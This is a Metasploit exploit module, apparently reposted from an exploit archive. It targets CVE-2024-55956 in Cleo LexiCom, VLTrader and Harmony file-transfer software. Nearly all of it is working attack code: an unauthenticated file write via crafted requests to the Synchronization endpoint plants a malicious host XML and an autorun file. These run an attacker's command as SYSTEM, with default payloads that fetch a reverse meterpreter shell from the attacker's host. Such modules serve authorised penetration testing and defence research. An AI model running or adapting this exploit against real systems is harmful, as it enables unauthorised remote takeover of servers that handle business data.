## https://sploitus.com/exploit?id=PACKETSTORM:188718
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony
versions 5.8.0.23 and below.
},
'License' => MSF_LICENSE,
'Author' => [
# MSF Exploit & Rapid7 Analysis
'sfewer-r7',
'remmons-r7'
],
'References' => [
['CVE', '2024-55956'],
['URL', 'https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956'], # Vendor Advisory
['URL', 'https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis'], # Rapid7 Analysis
['URL', 'https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/'], # Rapid7 Blog
['URL', 'https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild'] # Huntress Blog
],
'DisclosureDate' => '2024-12-09',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD],
'Privileged' => true, # 'NT AUTHORITY\SYSTEM' on Windows. On Linux it depends on how the product was installed.
'Targets' => [
[
# Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
# java/meterpreter/reverse_tcp
'Java', {
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[
# Tested against Cleo LexiCom/5.8.0.21 on Windows Server 2022, with payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
# cmd/windows/http/x64/meterpreter_reverse_tcp
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL',
'FETCH_WRITABLE_DIR' => '%TEMP%'
}
}
],
[
'Linux Command', {
'Platform' => %w[linux unix],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultOptions' => {
'RPORT' => 5080,
'SSL' => false,
# The exploit relies on the target service processing a file written to an 'autorun' folder, which is processed
# periodically. We bump up the WfsDelay to account for this, and give the exploit payload some extra time to trigger.
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('Connection failed') unless res
# We expect the server to respond with an HTTP Server header like "Cleo LexiCom/5.8.0.0 (Windows Server 2022)".
# Note, the target product may be either LexiCom, VLTrader, or Harmony.
if res.headers.key?('Server') && (res.headers['Server'] =~ %r{cleo\s+(?:lexicom|vltrader|harmony)/(\d+\.\d+\.\d+\.\d+)}i)
if Rex::Version.new(Regexp.last_match(1)) <= Rex::Version.new('5.8.0.23')
return CheckCode::Appears(res.headers['Server'])
end
return CheckCode::Safe(res.headers['Server'])
end
CheckCode::Unknown
end
def exploit
jar_path = nil
jar_file = nil
command = nil
case target['Platform']
when 'java'
jar_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
jar_file = payload.encoded_jar(random: true)
# The product ships its own JRE, so we can use a relative path to run our Java JAR file.
command = "jre/bin/java -jar \"#{jar_path}\""
when 'win'
command = "cmd.exe /c \"#{payload.encoded}\""
when 'linux', 'unix'
command = "/bin/sh -c \"#{payload.encoded}\""
else
fail_with(Failure::BadConfig, 'Unsupported target platform')
end
if command.include? ']]>'
# As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
fail_with(Failure::BadConfig, 'Payload cannot contain the CDATA closing tag "]]>"')
end
host_guid = SecureRandom.uuid
mailbox_guid = SecureRandom.uuid
action_guid = SecureRandom.uuid
# This is based on the XML file that Huntress published (https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild)
host_xml = %(<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Host alias="#{host_guid}" application="" by="Administrator" class="*CwwQNwwbER4SEhA8Ex4cEDNRQQwRBwsbGk5TEQdOEAUWTkM*" created="2020/10/10 00:00:00" enabled="True" enc="#{SecureRandom.uuid}" local="True" modevent="Modified" modified="2020/10/10 00:00:00" moditem="<copy>myCommands@Local Commands" modtype="Actions" preconfigured="2009/10/30 15:15" ready="True" standaloneaction="False" test="False" transport="" type="" uid="#{SecureRandom.uuid}" version="1">
<Connecttype>0</Connecttype>
<Inbox>inbox\</Inbox>
<Index>0</Index>
<Indexdate>-1</Indexdate>
<Internal>0</Internal>
<Notes>This contains mailboxes for a local host which can be used for local commands only.</Notes>
<Origin>Local Commands</Origin>
<Outbox>outbox\</Outbox>
<Port>0</Port>
<Runninglocalrequired>True</Runninglocalrequired>
<Secureportrequired>False</Secureportrequired>
<Uidswpd>True</Uidswpd>
<Advanced>ZipCompressionLevel=System Default</Advanced>
<Advanced>XMLEncryptionAlgorithm=System Default</Advanced>
<Advanced>HighPriorityIncomingWeight=10</Advanced>
<Advanced>PGPHashAlgorithm=System Default</Advanced>
<Advanced>HighPriorityOutgoingWeight=10</Advanced>
<Advanced>PGPCompressionAlgorithm=System Default</Advanced>
<Advanced>OutboxSort=System Default</Advanced>
<Advanced>PGPEncryptionAlgorithm=System Default</Advanced>
<Mailbox alias="#{mailbox_guid}" class="*BxAdExYeMgwbER4SEhA8Ex4cEDNR" created="2020/10/10 00:00:00" enabled="True" localdecryptcert="" localencryptcert="" localpackaging="None" partnerdecryptcert="" partnerdecryptpassword="" partnerencryptcert="" partnerpackaging="None" ready="True" uid="#{SecureRandom.uuid}" version="1">
<Action actiontype="Commands" alias="#{action_guid}" by="Administrator" class="*ERAWCxw+DBsRHhISEDwTHhwQM1E*" created="2020/10/10 00:00:00" enabled="True" modified="2020/10/10 00:00:00" ready="True" uid="#{SecureRandom.uuid}" version="2">
<Autostartup>False</Autostartup>
<Commands><![CDATA[SYSTEM #{command}]]></Commands>
<Filesin>0</Filesin>
<Filesout>0</Filesout>
<Ssl>False</Ssl>
</Action>
</Mailbox>
</Host>)
zip_file = Rex::Zip::Archive.new
zip_file.add_file('hosts/main.xml', host_xml)
zip_path = "temp/#{Rex::Text.rand_text_alpha_lower(8)}"
arbitrary_file_write(zip_path, zip_file.pack)
# The payload working directory will be the product install folder, e.g. "C:\LexiCom\", so we can pass relative
# paths here for cleanup.
register_files_for_cleanup(zip_path)
# For Java payloads, we also need to write the payloads JAR file.
if jar_file && jar_path
arbitrary_file_write(jar_path, jar_file.pack)
register_files_for_cleanup(jar_path)
end
# Install the new host via the -i switch.
# Run the Mailbox action via the -r switch, which in turn will execute our payload.
autorun_data = [
"-i \"#{zip_path}\"",
"-r \"<#{action_guid}>#{mailbox_guid}@#{host_guid}\""
].join("\r\n")
arbitrary_file_write("autorun/#{Rex::Text.rand_text_alpha_lower(8)}", autorun_data)
# Note, the autorun files will be deleted by the system after they are processed, so we do not need to register them for cleanup.
end
def arbitrary_file_write(path, data)
boundary = Rex::Text.rand_text_alpha_lower(16)
# We can trigger the file write via either of these two commands.
multipart_vlsync_command = ['ReceivedReceipt', 'SentReceipt'].sample
# These parameters can appear in any order, so we shuffle them.
multipart_vlsync_params = [
'service="AS2"',
"msgId=#{Rex::Text.rand_text_alpha_lower(8)}",
"path=\"#{path}\"",
'receiptfolder=Unspecified'
].shuffle.join(';')
content_data = "VLSync: #{multipart_vlsync_command};#{multipart_vlsync_params}\r\n"
content_data << "#{boundary}\r\n"
content_data << data
# Note, the server does not process well-formed multipart form data, so we do not use Rex::MIME::Message.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Synchronization'),
'headers' => {
'VLSync' => 'Multipart;l=0,Acknowledge'
},
'ctype' => 'application/form-data; boundary=' + boundary,
'data' => content_data
)
fail_with(Failure::UnexpectedReply, 'Failed to write file.') unless res&.code == 200
end
end